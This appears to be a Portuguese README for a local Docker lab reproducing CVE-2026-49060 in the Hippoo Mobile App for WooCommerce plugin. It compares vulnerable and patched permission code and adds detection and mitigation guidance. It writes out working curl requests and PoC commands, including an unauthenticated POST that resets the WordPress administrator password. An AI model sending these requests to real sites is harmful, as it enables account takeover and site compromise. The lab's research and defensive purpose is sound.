rootdirective-sec/cve-2026-49060-lab
Este repositório contém um laboratório Docker local para reproduzir e validar a CVE-2026-49060, uma vulnerabilidade de Atribuição Incorreta de Privilégios que afeta o plugin WordPress Hippoo Mobile App for WooCommerce.
O comportamento vulnerável é exposto por meio do namespace clonado da API REST do Hippoo:```text /wc-hippoo/v1/ext/
No alvo vulnerável, um visitante não autenticado pode acessar uma rota clonada de usuários da REST API do WordPress e pode atualizar a senha do usuário administrador por meio de uma requisição HTTP não autenticada. No alvo corrigido, a mesma requisição é bloqueada com `403 Forbidden`.
Este laboratório compara duas versões do Hippoo:
| Serviço | Versão do Hippoo | Finalidade | URL |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln` | 1.9.4 | Alvo de comparação vulnerável | `http://localhost:8081` |
| `patched` | 1.9.5 | Alvo de comparação corrigido | `http://localhost:8082` |
A cadeia de vulnerabilidade demonstrada é:```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
Este laboratório valida o comportamento de autorização vulnerável versus corrigido usando Hippoo 1.9.4 e Hippoo 1.9.5.
O laboratório é intencionalmente limitado a serviços Docker locais. Ele não visa sistemas externos e não inclui persistência, web shells, malware ou callbacks externos.
Este laboratório usa o Hippoo 1.9.4 como alvo de comparação vulnerável porque avisos públicos identificam versões até 1.9.4 como afetadas.
Este laboratório usa o Hippoo 1.9.5 como alvo de comparação corrigido porque os metadados dos avisos públicos identificam 1.9.5 como a versão corrigida para a faixa afetada demonstrada.
O registro público do CVE-2026-49060 descreve o problema em alto nível como Atribuição Incorreta de Privilégios / Escalação de Privilégios. Este laboratório concentra-se no comportamento de autorização observável no Hippoo 1.9.4 e o compara com o Hippoo 1.9.5.
O resumo da causa raiz neste README é baseado na comparação de código-fonte entre as versões vulnerável e corrigida do Hippoo usadas no laboratório.
Este laboratório não afirma testar todas as rotas do Hippoo. Ele concentra-se na rota REST de usuários do WordPress clonada:```text /wc-hippoo/v1/ext/wp/v2/users/
O laboratório não demonstra:
* persistência,
* upload de web shell,
* execução arbitrária de comandos,
* callbacks externos,
* comportamento de malware,
* ataques a sistemas fora do laboratório,
* ou atividade pós-comprometimento além da validação local de atualização de senha.
## Resumo da Causa Raiz
A causa raiz é uma falha de lógica de permissões no tratamento de papéis e permissões do Hippoo.
O Hippoo expõe rotas REST clonadas do WordPress e WooCommerce sob seu próprio namespace:```text
/wc-hippoo/v1/ext/
O comportamento de clonagem de rotas é sensível à segurança porque a rota clonada deve preservar ou fortalecer os requisitos de autorização da rota original. Se a rota clonada receber um callback de permissão permissivo, usuários não autenticados podem alcançar endpoints REST que deveriam exigir autenticação e autorização.
O comportamento relevante de clonagem de rotas segue este padrão:```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
O modelo de segurança pretendido é:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
O comportamento vulnerável ocorre porque Hippoo 1.9.4 usa o mesmo valor de retorno para dois estados diferentes:```text
administrator / unrestricted access
unauthenticated visitor / no user
No Hippoo `1.9.4`, o auxiliar de permissão retorna `null` quando não há usuário WordPress conectado:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
A versão vulnerável também trata null como permitido:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Isso cria o fluxo de dados vulnerável:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
O problema não é simplesmente que uma rota REST exista. O problema é que a decisão de permissão pode tratar incorretamente um visitante não autenticado como irrestrito.
A versão corrigida separa esses estados.
No Hippoo 1.9.5, visitantes não autenticados retornam false em vez de null:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
A verificação de autorização corrigida então nega explicitamente `false`:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
A mudança relevante para a segurança é:```text Before: unauthenticated visitor → null → allowed
After: unauthenticated visitor → false → denied
É por isso que o laboratório mostra:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
O patch altera o significado dos valores de retorno de permissões.
Na versão vulnerável:```text null means administrator/full access null also means unauthenticated/no user
Na versão corrigida:```text
null means administrator/full access
false means unauthenticated/no role/no access
A mudança importante no nível do código-fonte no auxiliar de permissões é:```diff public static function get_user_permissions() { $user = wp_get_current_user();
return null;
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) { return null; // Full access }
$settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
if (isset($settings[$role])) {
return $settings[$role];
}
return $settings[$role];
}
return null; // Full access
A decisão de autorização também é alterada:```diff
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Este patch não remove o recurso de clonagem de rotas do Hippoo. Em vez disso, ele corrige o limite de confiança em torno da avaliação de permissões.
A lição de segurança do patch é:```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
Funções de permissão sensíveis à segurança devem usar valores distintos para estados distintos:```text
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
O laboratório executa duas instalações do WordPress isoladas por meio do Docker Compose.```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore
Os dois serviços WordPress usam bancos de dados separados e versões de plugins separadas:
| Serviço | Componente | Versão / Função |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln` | WordPress + WooCommerce + Hippoo | aplicação-alvo vulnerável |
| `patched` | WordPress + WooCommerce + Hippoo | aplicação-alvo corrigida |
| `db-vuln` | MariaDB | banco de dados para o alvo vulnerável |
| `db-patched` | MariaDB | banco de dados para o alvo corrigido |
| `init-vuln` | serviço de inicialização do WordPress | inicializa o alvo vulnerável |
| `init-patched` | serviço de inicialização do WordPress | inicializa o alvo corrigido |
Serviços expostos por padrão:```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
O laboratório usa versões fixadas do Hippoo:
| Alvo | Versão do Hippoo | Comportamento esperado |
|---|---|---|
http://localhost:8081 | 1.9.4 | rota de usuários clonados não autenticados é permitida |
http://localhost:8082 | 1.9.5 | rota de usuários clonados não autenticados é bloqueada |
O laboratório instala o WooCommerce porque o Hippoo se integra às classes e rotas REST do WooCommerce.
Nenhum pacote Python de terceiros é necessário. O PoC usa apenas módulos da biblioteca padrão do Python.
Inicie o laboratório a partir de um estado limpo:```bash docker compose down -v --remove-orphans
docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
Verifique o status do serviço:```bash
docker compose ps
Serviços saudáveis esperados:```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched
Verifique as aplicações web:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
Execute validação somente leitura contra ambos os alvos:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Execute validação local ativa contra ambos os alvos:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Execute validação ativa com uma senha explícita:```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
## PoC Uso
Passe um ou mais URLs de destino locais como argumentos posicionais:```bash
python3 poc/poc.py <target_url> [target_url...]
Exemplos:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
O modo padrão é somente leitura. Ele envia uma solicitação `GET` não autenticada para a rota de usuários clonados e informa se o acesso é permitido ou bloqueado.
Opções suportadas:```text
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
Exemplo de validação ativa:```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
O PoC aceita apenas alvos de loopback/local:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
Ele recusa alvos não locais por design.
Comando:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Sinal esperado de alvo vulnerável:```text
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Sinal esperado do alvo corrigido:```text Target: target-2 Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
Resumo esperado:```text
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
Comando:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Sinal esperado do alvo vulnerável:```text
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Sinal esperado do alvo corrigido:```text Active local validation: target-2 Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
A validação ativa altera apenas a senha descartável do administrador do WordPress dentro do alvo local do laboratório vulnerável.
Credenciais padrão do laboratório local antes da validação ativa:```text
Username: admin
Password: AdminPass123!
Senha padrão após validação ativa bem-sucedida no alvo vulnerável:```text Username: admin Password: Cve49060LabPass123!
## Como Funciona a Validação
O validador primeiro descobre a API REST do WordPress.
Alguns ambientes WordPress expõem rotas REST por meio de permalinks amigáveis:```text
/wp-json/
Outras os expõem de forma mais confiável pelo fallback de query-string:```text /?rest_route=/
O validador tenta ambas as formas e usa aquela que retorna um índice JSON REST.
Após a descoberta REST, ele procura a rota de usuários clonados do Hippoo:```text
/wc-hippoo/v1/ext/wp/v2/users
Em seguida, ele realiza uma requisição GET não autenticada de somente leitura:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Comportamento vulnerável esperado:```text
HTTP 200 OK
JSON user object returned
Comportamento esperado após a correção:```text HTTP 403 Forbidden JSON rest_forbidden error returned
Quando `--update-password` está habilitado, o validador envia uma requisição POST não autenticada:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
Comportamento vulnerável esperado:```text HTTP 200 OK The selected user's password is updated inside the local lab target.
Comportamento esperado após o patch:```text
HTTP 403 Forbidden
The update is blocked.
A diferença importante não é se a rota existe. A rota existe em ambas as versões. A diferença de segurança é se uma requisição não autenticada tem permissão para invocá-la.
Sonda vulnerável somente leitura:```bash
curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Resultado esperado:```text
HTTP/1.1 200 OK
Content-Type: application/json
Sonda corrigida somente leitura:```bash
curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Resultado esperado:```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
Sonda vulnerável ativa:```bash
curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
Resultado esperado:```text
HTTP/1.1 200 OK
Sonda corrigida ativa:```bash
curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
Resultado esperado:```text
HTTP/1.1 403 Forbidden
O comportamento vulnerável permite acesso não autenticado a rotas REST clonadas sob o namespace do Hippoo.
A rota mais sensível à segurança demonstrada é a rota clonada de usuários do WordPress:```text /wc-hippoo/v1/ext/wp/v2/users/
No alvo local vulnerável, uma solicitação não autenticada pode atualizar a senha do usuário administrador. Isso demonstra o impacto de tomada de conta no laboratório controlado.
O potencial impacto no mundo real, dependendo da configuração do site e das rotas expostas, inclui:
* acesso não autorizado a dados sensíveis da API REST,
* tomada de conta do administrador,
* escalonamento de privilégios,
* modificação não autorizada de registros de usuários do WordPress,
* e comprometimento total do site após a obtenção de acesso de administrador.
Este laboratório demonstra apenas a falha de autorização e a atualização local da senha do administrador. Não inclui exploração pós-autenticação, edição de plugins, execução de código, persistência ou ações destrutivas.
## Detecção e Monitoramento
Indicadores potenciais incluem solicitações não autenticadas ao namespace REST clonado da Hippoo:```text
/wc-hippoo/v1/ext/
Padrão de rota de alto risco:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
Indicadores suspeitos:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
Exemplos de padrões de log de acesso:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Ações de monitoramento recomendadas:
* Revise os logs de acesso do servidor web para `/wc-hippoo/v1/ext/`.
* Revise os logs de autenticação do WordPress para logins inesperados de administradores.
* Revise os registros de usuários do WordPress para alterações recentes de senha.
* Revise os endereços de e-mail, funções e carimbos de data/hora de criação das contas de administrador.
* Revise os horários de modificação de arquivos de plugins/temas se houver suspeita de invasão de administrador.
* Monitore solicitações à API REST que retornem `200 OK` para usuários não autenticados onde a autorização deveria ser exigida.
## Notas de Mitigação e Patch
Atualize o Hippoo Mobile App for WooCommerce para uma versão corrigida.
Para a comparação específica de laboratório, o Hippoo `1.9.5` bloqueia o comportamento demonstrado da rota de usuários clonados não autenticados que é permitido na `1.9.4`.
Para ambientes de produção, atualize para a versão mais recente disponível em vez de parar na versão de comparação de laboratório.
Etapas de mitigação recomendadas:
* Atualize o Hippoo Mobile App for WooCommerce para a versão corrigida mais recente disponível.
* Confirme se a versão instalada é mais recente que o intervalo afetado.
* Revise se `/wc-hippoo/v1/ext/` está exposto publicamente.
* Alterne as senhas de administrador se houver suspeita de exploração.
* Revise as contas de administrador do WordPress em busca de alterações não autorizadas.
* Revise os logs de acesso da web em busca de solicitações não autenticadas a rotas REST clonadas.
* Desative o plugin temporariamente se a correção imediata não for possível.
* Use WAF ou correção virtual como uma camada temporária, não como substituto para a atualização.
Lições de engenharia de segurança:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
Verifique o status do contêiner:```bash docker compose ps
Verifique os logs de inicialização:```bash
docker compose logs init-vuln init-patched
Verifique os serviços web:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
Execute validação somente leitura:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Execute a validação ativa:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Verifique os plugins ativos:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Confira as versões do Hippoo:```bash
docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
Inspecione a lógica de permissões no alvo vulnerável:```bash
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Inspecione a lógica de permissões no alvo corrigido:```bash
docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Salvar evidência de validação:```bash
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
Pare e remova contêineres e redes:```bash docker compose down --remove-orphans
Remova contêineres, redes e volumes:```bash
docker compose down -v --remove-orphans
Remova os arquivos de evidência locais se criados:```bash rm -rf evidence/
## Limites de Segurança
Este laboratório é exclusivamente para pesquisa de segurança local e demonstração controlada.
Não execute o PoC ou solicitações curl manuais contra sistemas que você não possui ou para os quais não tenha autorização explícita para testar.
Não use credenciais de produção reais, dados reais de clientes ou segredos de produção neste laboratório.
O escopo pretendido limita-se a serviços Docker locais, tais como:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
O PoC é intencionalmente apenas HTTP e de escopo local. Ele não chama Docker, Docker Compose, WP-CLI ou APIs de container.
O modo de validação ativo altera a senha apenas para o usuário WordPress selecionado dentro do alvo de laboratório local descartável.
O laboratório não inclui payloads para:
O objetivo é demonstrar uma condição técnica específica em um ambiente controlado:```text unauthenticated request
## Referências
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: Plugin WordPress Hippoo Mobile App for WooCommerce <= 1.9.4 Escalação de Privilégios
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* GitHub Advisory: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* Plugin do WordPress.org: Hippoo Mobile App for WooCommerce
https://wordpress.org/plugins/hippoo/
* SVN do Plugin do WordPress.org
https://plugins.svn.wordpress.org/hippoo/
* Tags SVN do Plugin do WordPress.org
https://plugins.svn.wordpress.org/hippoo/tags/
* Manual da API REST do WordPress: Rotas e Endpoints
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* Guia de Testes de Segurança Web da OWASP: Testes para Bypass de Autorização
https://owasp.org/www-project-web-security-testing-guide/
| Alegação | Evidência | Como verificar neste laboratório |
|---|
O CVE-2026-49060 afeta o Hippoo Mobile App for WooCommerce até a versão 1.9.4. | Avisos públicos identificam Hippoo <= 1.9.4 / até 1.9.4 como afetado. | Consulte a seção Referências e compare a versão do serviço vuln. |
O Hippoo 1.9.5 é usado como alvo de comparação corrigido. | Os metadados dos avisos públicos identificam 1.9.5 como uma versão corrigida para a faixa afetada. | Execute docker compose logs init-vuln init-patched e confirme as versões inicializadas do plugin. |
| O comportamento vulnerável é exposto por meio do namespace REST clonado do Hippoo. | O Hippoo re-registra rotas REST externas sob /wc-hippoo/v1/ext/. | Execute python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082. |
O Hippoo 1.9.4 permite acesso não autenticado à rota de usuários clonada neste laboratório. | O PoC do laboratório recebe 200 OK de http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Execute o comando de validação somente leitura contra 8081. |
O Hippoo 1.9.5 bloqueia a mesma solicitação não autenticada neste laboratório. | O PoC do laboratório recebe 403 Forbidden de http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Execute o comando de validação somente leitura contra 8082. |
| O alvo vulnerável pode atualizar a senha do administrador por meio de um POST não autenticado neste laboratório local. | O PoC ativo recebe 200 OK do alvo vulnerável quando --update-password é usado. | Execute python3 poc/poc.py --update-password http://127.0.0.1:8081. |
| O alvo corrigido bloqueia a solicitação não autenticada de atualização de senha. | O Hippoo 1.9.5 retorna uma resposta proibida para a mesma rota de usuários clonada. | Execute a validação ativa contra ambos os alvos. |
| O PoC é somente HTTP. | poc/poc.py envia apenas solicitações HTTP e não chama Docker, WP-CLI ou APIs de contêiner. | Inspecione poc/poc.py. |